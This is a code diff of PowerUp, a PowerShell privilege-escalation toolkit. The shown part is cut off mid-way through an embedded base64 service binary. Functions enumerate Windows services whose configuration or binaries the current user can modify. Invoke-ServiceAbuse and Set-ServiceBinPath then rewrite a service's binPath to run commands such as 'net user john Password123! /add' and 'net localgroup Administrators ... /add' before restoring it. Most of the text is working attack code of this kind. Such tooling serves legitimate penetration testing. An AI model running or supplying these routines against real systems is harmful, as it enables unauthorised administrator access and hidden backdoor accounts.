[Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [Parameter(ParameterSetName='Service', Mandatory = $True)] + [Parameter(ParameterSetName='ServiceName', Mandatory = $True)] [String] - $ServiceName + [ValidateNotNullOrEmpty()] + $binPath ) - process { - # query WMI for the service - $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + BEGIN { + $Module = New-InMemoryModule -ModuleName PowerUpModule - # make sure we got a result back - if (-not ($TargetService)){ - Write-Warning "[!] Target service '$ServiceName' not found on the machine" - return $False + $FunctionDefinitions = @( + (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode) + (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError) + ) + + $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods' + $Advapi32 = $Types['advapi32'] + + filter Local:Get-ServiceConfigControlHandle { + [OutputType([IntPtr])] + param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $TargetService + ) + + $GetServiceHandle = [ServiceProcess.ServiceController].GetMethod('GetServiceHandle', [Reflection.BindingFlags] 'Instance, NonPublic') + + $ConfigControl = 0x00000002 + + $RawHandle = $GetServiceHandle.Invoke($TargetService, @($ConfigControl)) + + $RawHandle } + } - try { - # stop the service - Write-Verbose "Stopping service '$($TargetService.Name)'" - $Result = sc.exe stop "$($TargetService.Name)" + PROCESS { + if($PSBoundParameters['Service']) { + try { + $ServiceHandle = Get-ServiceConfigControlHandle -TargetService $Service + } + catch { + $ServiceHandle = $Null + Write-Warning "Error opening up the service handle with read control for $($Service.Name) : $_" + } + } + else { + try { + $Service = Get-Service -Name $ServiceName + $ServiceHandle = Get-ServiceConfigControlHandle -TargetService $Service + } + catch { + $ServiceHandle = $Null + Write-Warning "Error opening up the service handle with read control for $ServiceName : $_" + } + } + + if ($ServiceHandle -and ($ServiceHandle -ne [IntPtr]::Zero)) { + + $SERVICE_NO_CHANGE = [UInt32]::MaxValue + + $Result = $Advapi32::ChangeServiceConfig($ServiceHandle, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, $SERVICE_NO_CHANGE, "$binPath", [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - if ($Result -like "*Access is denied*"){ - Write-Warning "[!] Access to service $($TargetService.Name) denied" - return $False + if ($Result -ne 0) { + if($PSBoundParameters['Service']) { + Write-Verbose "binPath for $($Service.Name) successfully set to '$binPath'" + } + else { + Write-Verbose "binPath for $ServiceName successfully set to '$binPath'" + } + $True } - elseif ($Result -like "*1051*") { - # if we can't stop the service because other things depend on it - Write-Warning "[!] Stopping service $($TargetService.Name) failed: $Result" - return $False + else { + Write-Error ([ComponentModel.Win32Exception] $LastError) + $Null } - Start-Sleep 1 - return $True - } - catch{ - Write-Warning "Error: $_" - return $False + $Null = $Advapi32::CloseServiceHandle($ServiceHandle) } } } -function Invoke-ServiceEnable { +filter Test-ServiceDaclPermission { <# .SYNOPSIS + + Tests one or more passed services or service names against a given permission set, + returning the service objects where the current user have the specified permissions. + Author: @harmj0y, Matthew Graeber (@mattifestation) + License: BSD 3-Clause - Enables a specified service. + .DESCRIPTION - .PARAMETER ServiceName + Takes a ServiceProcess.ServiceController or a ServiceName and first adds a service + Dacl to the service object with Add-ServiceDacl. All group SIDs for the current user are + enumerated services where the user has some type of permission are filtered. The services + are then filtered against a specified set of permissions, and services where the current + user have the specified permissions are returned. - The service name to enable. Required. + .PARAMETER Service - .EXAMPLE + A ServiceProcess.ServiceController object to test against the specified permission set. - PS C:\> Invoke-ServiceEnable -ServiceName VulnSVC + .PARAMETER ServiceName + + The name of the service to test against the specified permission set. - Enables the 'VulnSVC' service. -#> + .PARAMETER Permissions - [CmdletBinding()] - Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] - [String] - $ServiceName - ) + A manual set of permission to test again. One of:'QueryConfig', 'ChangeConfig', 'QueryStatus', + 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', UserDefinedControl', + 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', + 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess' + + .PARAMETER PermissionSet - process { - # query WMI for the service - $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} + A pre-defined permission set to test a specified service against. 'ChangeConfig', 'Restart', or 'AllAccess'. + + .OUTPUTS + + ServiceProcess.ServiceController - # make sure we got a result back - if (-not ($TargetService)){ - Write-Warning "[!] Target service '$ServiceName' not found on the machine" - return $False - } - - try { - # enable the service - Write-Verbose "Enabling service '$($TargetService.Name)'" - $Null = sc.exe config "$($TargetService.Name)" start= demand - return $True - } - catch{ - Write-Warning "Error: $_" - return $False - } - } -} + .EXAMPLE + PS C:\> Get-Service | Test-ServiceDaclPermission -function Invoke-ServiceDisable { -<# - .SYNOPSIS + Return all service objects where the current user can modify the service configuration. - Disables a specified service. + .EXAMPLE + + PS C:\> Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart' + + Return all service objects that the current user can restart. - .PARAMETER ServiceName - The service name to disable. Required. - .EXAMPLE - PS C:\> Invoke-ServiceDisable -ServiceName VulnSVC + PS C:\> Test-ServiceDaclPermission -Permissions 'Start' -ServiceName VulnSVC + + Return the VulnSVC object if the current user has start permissions. - Disables the 'VulnSVC' service. + .LINK + + https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ #> + [OutputType([ServiceProcess.ServiceController])] + [CmdletBinding(DefaultParameterSetName='ServiceName')] + param ( + [Parameter(ParameterSetName='ServiceName', Position = 0, Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $ServiceName, - [CmdletBinding()] - Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 1, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $Service, + + [Parameter(ParameterSetName='ServiceName')] + [Parameter(ParameterSetName='Service')] + [String[]] + [ValidateSet('QueryConfig', 'ChangeConfig', 'QueryStatus', 'EnumerateDependents', 'Start', 'Stop', 'PauseContinue', 'Interrogate', 'UserDefinedControl', 'Delete', 'ReadControl', 'WriteDac', 'WriteOwner', 'Synchronize', 'AccessSystemSecurity', 'GenericAll', 'GenericExecute', 'GenericWrite', 'GenericRead', 'AllAccess')] + $Permissions, + + [Parameter(ParameterSetName='ServiceName')] + [Parameter(ParameterSetName='Service')] [String] - $ServiceName + [ValidateSet('ChangeConfig', 'Restart', 'AllAccess')] + $PermissionSet = 'ChangeConfig' ) - - process { - # query WMI for the service - $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} - # make sure we got a result back - if (-not ($TargetService)){ - Write-Warning "[!] Target service '$ServiceName' not found on the machine" - return $False + if($PSBoundParameters['Service']) { + $TargetService = $Service | Add-ServiceDacl + } + else { + $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop | Add-ServiceDacl + } + + $AccessMask = @{ + 'QueryConfig' = [uint32]'0x00000001' + 'ChangeConfig' = [uint32]'0x00000002' + 'QueryStatus' = [uint32]'0x00000004' + 'EnumerateDependents' = [uint32]'0x00000008' + 'Start' = [uint32]'0x00000010' + 'Stop' = [uint32]'0x00000020' + 'PauseContinue' = [uint32]'0x00000040' + 'Interrogate' = [uint32]'0x00000080' + 'UserDefinedControl' = [uint32]'0x00000100' + 'Delete' = [uint32]'0x00010000' + 'ReadControl' = [uint32]'0x00020000' + 'WriteDac' = [uint32]'0x00040000' + 'WriteOwner' = [uint32]'0x00080000' + 'Synchronize' = [uint32]'0x00100000' + 'AccessSystemSecurity' = [uint32]'0x01000000' + 'GenericAll' = [uint32]'0x10000000' + 'GenericExecute' = [uint32]'0x20000000' + 'GenericWrite' = [uint32]'0x40000000' + 'GenericRead' = [uint32]'0x80000000' + 'AllAccess' = [uint32]'0x000F01FF' + } + + if($PSBoundParameters['Permissions']) { + $TargetPermissions = $Permissions + } + else { + if($PermissionSet -eq 'ChangeConfig') { + $TargetPermissions = @('ChangeConfig', 'WriteDac', 'WriteOwner', 'GenericAll', ' GenericWrite', 'AllAccess') } - - try { - # disable the service - Write-Verbose "Disabling service '$($TargetService.Name)'" - $Null = sc.exe config "$($TargetService.Name)" start= disabled - return $True + elseif($PermissionSet -eq 'Restart') { + $TargetPermissions = @('Start', 'Stop') + $CheckAllPermissionsInSet = $True # so we check all permissions && style + } + elseif($PermissionSet -eq 'AllAccess') { + $TargetPermissions = @('GenericAll', 'AllAccess') } - catch{ - Write-Warning "Error: $_" - return $False + } + + if($TargetService -and $TargetService.Dacl) { + + # enumerate all group SIDs the current user is a part of + $UserIdentity = [System.Security.Principal.WindowsIdentity]::GetCurrent() + $CurrentUserSids = $UserIdentity.Groups | Select-Object -ExpandProperty Value + $CurrentUserSids += $UserIdentity.User.Value + + ForEach($ServiceDacl in $TargetService.Dacl) { + if($CurrentUserSids -contains $ServiceDacl.SecurityIdentifier) { + + if($CheckAllPermissionsInSet) { + $AllMatched = $True + ForEach($TargetPermission in $TargetPermissions) { + # check permissions && style + if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -ne $AccessMask[$TargetPermission]) { + Write-Verbose "Current user doesn't have '$TargetPermission' for $($TargetService.Name)" + $AllMatched = $False + break + } + } + if($AllMatched) { + $TargetService + } + } + else { + ForEach($TargetPermission in $TargetPermissions) { + # check permissions || style + if (($ServiceDacl.AccessRights -band $AccessMask[$TargetPermission]) -eq $AccessMask[$TargetPermission]) { + Write-Verbose "Current user has '$TargetPermission' for $($TargetService.Name)" + $TargetService + break + } + } + } + } } } + else { + Write-Warning "Error enumerating the Dacl for service $ServiceName" + } } @@ -449,11 +1366,16 @@ function Get-ServiceUnquoted { if ($VulnServices) { ForEach ($Service in $VulnServices){ - try { - $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP' - } catch { - $CanRestart = "Cannot be determined through DACL, try manually." + + $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -ServiceName $Service.name + + if($ServiceRestart) { + $CanRestart = $True + } + else { + $CanRestart = $False } + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname @@ -466,18 +1388,23 @@ function Get-ServiceUnquoted { } -function Get-ServiceFilePermission { +function Get-ModifiableServiceFile { <# .SYNOPSIS - This function finds all services where the current user can - write to the associated binary or its arguments. - If the associated binary (or config file) is overwritten, + Enumerates all services and returns vulnerable service files. + + .DESCRIPTION + + Enumerates all services by querying the WMI win32_service class. For each service, + it takes the pathname (aka binPath) and passes it to Get-ModifiableFile to determine + if the current user has rights to modify the service binary itself or any associated + arguments. If the associated binary (or any configuration files) can be overwritten, privileges may be able to be escalated. .EXAMPLE - PS C:\> Get-ServiceFilePermission + PS C:\> Get-ModifiableServiceFile Get a set of potentially exploitable service binares/config files. #> @@ -489,15 +1416,22 @@ function Get-ServiceFilePermission { $ServiceStartName = $_.startname $ServicePath | Get-ModifiableFile | ForEach-Object { - try { - $CanRestart = Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WPRP' - } catch { - $CanRestart = "Cannot be determined through DACL, try manually." + + $ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -ServiceName $ServiceName + + if($ServiceRestart) { + $CanRestart = $True + } + else { + $CanRestart = $False } + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath - $Out | Add-Member Noteproperty 'ModifiableFile' $_ + $Out | Add-Member Noteproperty 'ModifiableFile' $_.Path + $Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions + $Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference $Out | Add-Member Noteproperty 'StartName' $ServiceStartName $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -ServiceName '$ServiceName'" $Out | Add-Member Noteproperty 'CanRestart' $CanRestart @@ -507,57 +1441,44 @@ function Get-ServiceFilePermission { } -function Get-ServicePermission { +function Get-ModifiableService { <# .SYNOPSIS - This function enumerates all available services and tries to - open the service for modification, returning the service object - if the process didn't fail. - + Enumerates all services and returns services for which the current user can modify the binPath. + + .DESCRIPTION + + Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if + the current user has rights to change the service configuration. + .EXAMPLE - PS C:\> Get-ServicePermission + PS C:\> Get-ModifiableService Get a set of potentially exploitable services. #> - - # check if sc.exe exists - if (-not (Test-Path ("$Env:SystemRoot\System32\sc.exe"))) { - Write-Warning "[!] Could not find $Env:SystemRoot\System32\sc.exe" - - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceName' 'Not Found' - $Out | Add-Member Noteproperty 'Path' "$Env:SystemRoot\System32\sc.exe" - $Out | Add-Member Noteproperty 'StartName' $Null - $Out | Add-Member Noteproperty 'AbuseFunction' $Null - $Out - } - $Services = Get-WmiObject -Class win32_service | Where-Object {$_} - - if ($Services) { - ForEach ($Service in $Services){ + Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object { - # try to change error control of a service to its existing value - $Result = sc.exe config $($Service.Name) error= $($Service.ErrorControl) + $ServiceDetails = Get-ServiceDetail -Service $_ - # means the change was successful - if ($Result -contains "[SC] ChangeServiceConfig SUCCESS"){ - try { - $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP' - } catch { - $CanRestart = "Cannot be determined through DACL, try manually." - } - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceName' $Service.name - $Out | Add-Member Noteproperty 'Path' $Service.pathname - $Out | Add-Member Noteproperty 'StartName' $Service.startname - $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($Service.name)'" - $Out | Add-Member Noteproperty 'CanRestart' $CanRestart - $Out - } + $ServiceRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart' + + if($ServiceRestart) { + $CanRestart = $True + } + else { + $CanRestart = $False } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name + $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname + $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname + $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($ServiceDetails.name)'" + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart + $Out } } @@ -566,30 +1487,60 @@ function Get-ServiceDetail { <# .SYNOPSIS - Returns detailed information about a specified service. + Returns detailed information about a specified service by querying the + WMI win32_service class for the specified service name. + + .DESCRIPTION + + Takes a ServiceName or a ServiceProcess.ServiceController object returned by + Get-Service, extracts out the service name, queries the WMI win32_service class for + the specified service for details like binPath, and outputs everything. + + .PARAMETER Service + + A ServiceProcess.ServiceController object from Get-Service. .PARAMETER ServiceName - The service name to query for. Required. + The service name to query for. .EXAMPLE PS C:\> Get-ServiceDetail -ServiceName VulnSVC Gets detailed information about the 'VulnSVC' service. -#> - [CmdletBinding()] - Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + .EXAMPLE + + PS C:\> Get-Service VulnSVC | Get-ServiceDetail + + Gets detailed information about the 'VulnSVC' service. +#> + [CmdletBinding(DefaultParameterSetName='ServiceName')] + param ( + [Parameter(ParameterSetName='ServiceName', Position = 0, Mandatory = $True)] [String] - $ServiceName + [ValidateNotNullOrEmpty()] + $ServiceName, + + [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 1, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $Service ) - process { - Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} | ForEach-Object { + PROCESS { + + if($PSBoundParameters['Service']) { + $TargetService = $Service + } + else { + $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop + } + + Get-WmiObject -Class win32_service -Filter "Name='$($TargetService.Name)'" | Where-Object {$_} | ForEach-Object { try { - $_ | Format-List * + $_ } catch{ Write-Warning "Error: $_" @@ -614,10 +1565,14 @@ function Invoke-ServiceAbuse { the service, stops it, modifies it to add the user to the specified group, stops it, and then restores the original EXE path. It can also take a custom -CMD argument to trigger a custom command instead of adding a user. - + .PARAMETER ServiceName - The service name to manipulate. Required. + The name of the target service to abuse. + + .PARAMETER Service + + A ServiceProcess.ServiceController object from Get-Service. .PARAMETER UserName @@ -630,12 +1585,20 @@ function Invoke-ServiceAbuse { .PARAMETER LocalGroup - Local group name to add the user to (default of Administrators). + Local group name to add the user to (default of 'Administrators'). + .PARAMETER Credential + + A [Management.Automation.PSCredential] object specifying the user/password to add. + .PARAMETER Command Custom local command to execute. + .PARAMETER Force + + Switch. Force service stopping, even if other services are dependent. + .EXAMPLE PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC @@ -663,128 +1626,157 @@ function Invoke-ServiceAbuse { Abuses service 'VulnSVC' to execute a custom command. #> - - [CmdletBinding()] - Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [CmdletBinding(DefaultParameterSetName='ServiceName')] + param ( + [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 0, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $Service, + + [Parameter(ParameterSetName='ServiceName', Position = 1, Mandatory = $True)] [String] + [ValidateNotNullOrEmpty()] $ServiceName, + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $UserName = "john", + $UserName = 'john', + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $Password = "Password123!", + $Password = 'Password123!', + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $LocalGroup = "Administrators", + $LocalGroup = 'Administrators', + + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] + [Management.Automation.PSCredential] + $Credential, + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $Command - ) + [ValidateNotNullOrEmpty()] + $Command, - process { + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] + [Switch] + $Force + ) - # query WMI for the service - $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} - $ServiceAbused = $Null + BEGIN { - # make sure we got a result back - if ($TargetService) { + if($PSBoundParameters['Command']) { + $ServiceCommands = @($Command) + } - $ServiceAbused = $TargetService.Name - $UserAdded = $Null - $PasswordAdded = $Null - $GroupnameAdded = $Null + else { + if($PSBoundParameters['Credential']) { + $UserNameToAdd = $Credential.UserName + $PasswordToAdd = $Credential.GetNetworkCredential().Password + } + else { + $UserNameToAdd = $UserName + $PasswordToAdd = $Password + } - try { - # check if sc.exe exists - if (-not (Test-Path ("$Env:SystemRoot\System32\sc.exe"))){ - throw "Could not find $Env:SystemRoot\System32\sc.exe" - } + if($UserNameToAdd.Contains('\')) { + # only adding a domain user to the local group, no user creation + $ServiceCommands = @("net localgroup $LocalGroup $UserName /add") + } + else { + # create a local user and add it to the local specified group + $ServiceCommands = @("net user $UserName $Password /add", "net localgroup $LocalGroup $UserName /add") + } + } + } - # try to enable the service it was disabled - $RestoreDisabled = $False - if ($TargetService.StartMode -eq "Disabled") { - Write-Verbose "Service '$ServiceName' disabled, enabling..." - if(-not $(Invoke-ServiceEnable -ServiceName $ServiceName)) { - throw "Error in enabling disabled service." - } - $RestoreDisabled = $True - } + PROCESS { - # extract the original path and state so we can restore it later - $OriginalPath = $TargetService.PathName - $OriginalState = $TargetService.State - Write-Verbose "Service '$ServiceName' original path: '$OriginalPath'" - Write-Verbose "Service '$ServiceName' original state: '$OriginalState'" + if($PSBoundParameters['Service']) { + $TargetService = $Service + } + else { + $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop + } - $Commands = @() + $ServiceDetails = Get-ServiceDetail -Service $TargetService - if($Command) { - # only executing a custom command - $Commands += $Command - } - elseif($UserName.Contains("\")) { - # adding a domain user to the local group, no creation - $Commands += "net localgroup $LocalGroup $UserName /add" - } - else { - # creating a local user and adding to the local group - $Commands += "net user $UserName $Password /add" - $Commands += "net localgroup $LocalGroup $UserName /add" - } + $RestoreDisabled = $False + if ($ServiceDetails.StartMode -match 'Disabled') { + Write-Verbose "Service '$ServiceName' disabled, enabling..." + $TargetService | Set-Service -StartupType Manual -ErrorAction Stop + $RestoreDisabled = $True + } - foreach($Cmd in $Commands) { - if(-not $(Invoke-ServiceStop -ServiceName $TargetService.Name)) { - throw "Error in stopping service." - } + $OriginalServicePath = $ServiceDetails.PathName + $OriginalServiceState = $ServiceDetails.State - Write-Verbose "Executing command '$Cmd'" + Write-Verbose "Service '$($TargetService.Name)' original path: '$OriginalServicePath'" + Write-Verbose "Service '$($TargetService.Name)' original state: '$OriginalServiceState'" - $Result = sc.exe config $($TargetService.Name) binPath= $Cmd - if ($Result -contains "Access is denied."){ - throw "Access to service $($TargetService.Name) denied" - } + ForEach($ServiceCommand in $ServiceCommands) { - $Null = Invoke-ServiceStart -ServiceName $TargetService.Name - } - - # cleanup and restore the original binary path - Write-Verbose "Restoring original path to service '$ServiceName'" - $Null = sc.exe config $($TargetService.Name) binPath= $OriginalPath - - # try to restore the service to whatever state it was - if($RestoreDisabled) { - Write-Verbose "Re-disabling service '$ServiceName'" - $Result = sc.exe config $($TargetService.Name) start= disabled - } - elseif($OriginalState -eq "Paused") { - Write-Verbose "Starting and then pausing service '$ServiceName'" - $Null = Invoke-ServiceStart -ServiceName $TargetService.Name - $Null = sc.exe pause $($TargetService.Name) - } - elseif($OriginalState -eq "Stopped") { - Write-Verbose "Leaving service '$ServiceName' in stopped state" - } - else { - $Null = Invoke-ServiceStart -ServiceName $TargetService.Name - } + if($PSBoundParameters['Force']) { + $TargetService | Stop-Service -Force -ErrorAction Stop } - catch { - Write-Warning "Error while modifying service '$ServiceName': $_" - $Commands = @("Error while modifying service '$ServiceName': $_") + else { + $TargetService | Stop-Service -ErrorAction Stop + } + + Write-Verbose "Executing command '$ServiceCommand'" + + $Success = Set-ServiceBinPath -Service $TargetService -binPath "$ServiceCommand" + + if (-not $Success) { + throw "Error reconfiguring the binPath for $($TargetService.Name)" } + + $TargetService | Start-Service -ErrorAction SilentlyContinue } + if($PSBoundParameters['Force']) { + $TargetService | Stop-Service -Force -ErrorAction Stop + } else { - Write-Warning "Target service '$ServiceName' not found on the machine" - $Commands = "Not found" + $TargetService | Stop-Service -ErrorAction Stop + } + + Write-Verbose "Restoring original path to service '$($TargetService.Name)'" + + $Success = Set-ServiceBinPath -Service $TargetService -binPath "$OriginalServicePath" + + if (-not $Success) { + throw "Error restoring the original binPath for $($TargetService.Name)" + } + + # try to restore the service to whatever the service's original state was + if($RestoreDisabled) { + Write-Verbose "Re-disabling service '$($TargetService.Name)'" + $TargetService | Set-Service -StartupType Disabled -ErrorAction Stop + } + elseif($OriginalServiceState -eq "Paused") { + Write-Verbose "Starting and then pausing service '$($TargetService.Name)'" + $TargetService | Start-Service + $TargetService | Set-Service -Status Paused -ErrorAction Stop + } + elseif($OriginalServiceState -eq "Stopped") { + Write-Verbose "Leaving service '$($TargetService.Name)' in stopped state" + } + else { + Write-Verbose "Restarting '$($TargetService.Name)'" + $TargetService | Start-Service } $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceAbused' $ServiceAbused - $Out | Add-Member Noteproperty 'Command' $($Commands -join " && ") + $Out | Add-Member Noteproperty 'ServiceAbused' $TargetService.Name + $Out | Add-Member Noteproperty 'Command' $($ServiceCommands -join ' && ') $Out } } @@ -854,7 +1846,7 @@ function Write-ServiceBinary { [CmdletBinding()] Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [Parameter(ValueFromPipeline = $True, Mandatory = $True)] [String] $ServiceName, @@ -874,13 +1866,13 @@ function Write-ServiceBinary { $Command ) - begin { + BEGIN { # the raw unpatched service binary $B64Binary = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDANM1P1UAAAAAAAAAAOAAAgELAQsAAEwAAAAIAAAAAAAAHmoAAAAgAAAAgAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAADAAAAAAgAAAAAAAAIAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAMhpAABTAAAAAIAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAwAAABQaQAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAJEoAAAAgAAAATAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAgAAAAAYAAABOAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAKAAAAACAAAAVAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAagAAAAAAAEgAAAACAAUA+CAAAFhIAAADAAAABgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHoDLBMCewEAAAQsCwJ7AQAABG8RAAAKAgMoEgAACipyAnMTAAAKfQEAAAQCcgEAAHBvFAAACigVAAAKKjYCKBYAAAoCKAIAAAYqAAATMAIAKAAAAAEAABFyRwAAcApyQEAAcAZvFAAACigXAAAKJiDQBwAAKBgAAAoWKBkAAAoqBioAABMwAwAYAAAAAgAAEReNAQAAAQsHFnMDAAAGogcKBigaAAAKKkJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAAMQCAAAjfgAAMAMAAHADAAAjU3RyaW5ncwAAAACgBgAAUEAAACNVUwDwRgAAEAAAACNHVUlEAAAAAEcAAFgBAAAjQmxvYgAAAAAAAAACAAABVxUCAAkAAAAA+iUzABYAAAEAAAAaAAAAAwAAAAEAAAAGAAAAAgAAABoAAAAOAAAAAgAAAAEAAAADAAAAAAAKAAEAAAAAAAYARQAvAAoAYQBaAA4AfgBoAAoA6wDZAAoAAgHZAAoAHwHZAAoAPgHZAAoAVwHZAAoAcAHZAAoAiwHZAAoApgHZAAoA3gG/AQoA8gG/AQoAAALZAAoAGQLZAAoAUAI2AgoAfAJpAkcAkAIAAAoAvwKfAgoA3wKfAgoA/QJaAA4ACQNoAAoAEwNaAA4ALwNpAgoATgM9AwoAWwNaAAAAAAABAAAAAAABAAEAAQAQABYAHwAFAAEAAQCAARAAJwAfAAkAAgAGAAEAiQATAFAgAAAAAMQAlAAXAAEAbyAAAAAAgQCcABwAAgCMIAAAAACGGLAAHAACAJwgAAAAAMQAtgAgAAIA0CAAAAAAxAC+ABwAAwDUIAAAAACRAMUAJgADAAAAAQDKAAAAAQDUACEAsAAqACkAsAAqADEAsAAqADkAsAAqAEEAsAAqAEkAsAAqAFEAsAAqAFkAsAAqAGEAsAAXAGkAsAAqAHEAsAAqAHkAsAAqAIEAsAAqAIkAsAAvAJkAsAA1AKEAsAAcAKkAlAAcAAkAlAAXALEAsAAcALkAGgM6AAkAHwMqAAkAsAAcAMEANwM+AMkAVQNFANEAZwNFAAkAbANOAC4ACwBeAC4AEwBrAC4AGwBrAC4AIwBrAC4AKwBeAC4AMwBxAC4AOwBrAC4ASwBrAC4AUwCJAC4AYwCzAC4AawDAAC4AcwAmAS4AewAvAS4AgwA4AUoAVQAEgAAAAQAAAAAAAAAAAAAAAAAfAAAABAAAAAAAAAAAAAAAAQAvAAAAAAAEAAAAAAAAAAAAAAAKAFEAAAAAAAQAAAAAAAAAAAAAAAoAWgAAAAAAAAAAAAA8TW9kdWxlPgBVcGRhdGVyLmV4ZQBTZXJ2aWNlMQBVcGRhdGVyAFByb2dyYW0AU3lzdGVtLlNlcnZpY2VQcm9jZXNzAFNlcnZpY2VCYXNlAG1zY29ybGliAFN5c3RlbQBPYmplY3QAU3lzdGVtLkNvbXBvbmVudE1vZGVsAElDb250YWluZXIAY29tcG9uZW50cwBEaXNwb3NlAEluaXRpYWxpemVDb21wb25lbnQALmN0b3IAT25TdGFydABPblN0b3AATWFpbgBkaXNwb3NpbmcAYXJncwBTeXN0ZW0uUmVmbGVjdGlvbgBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDdWx0dXJlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21W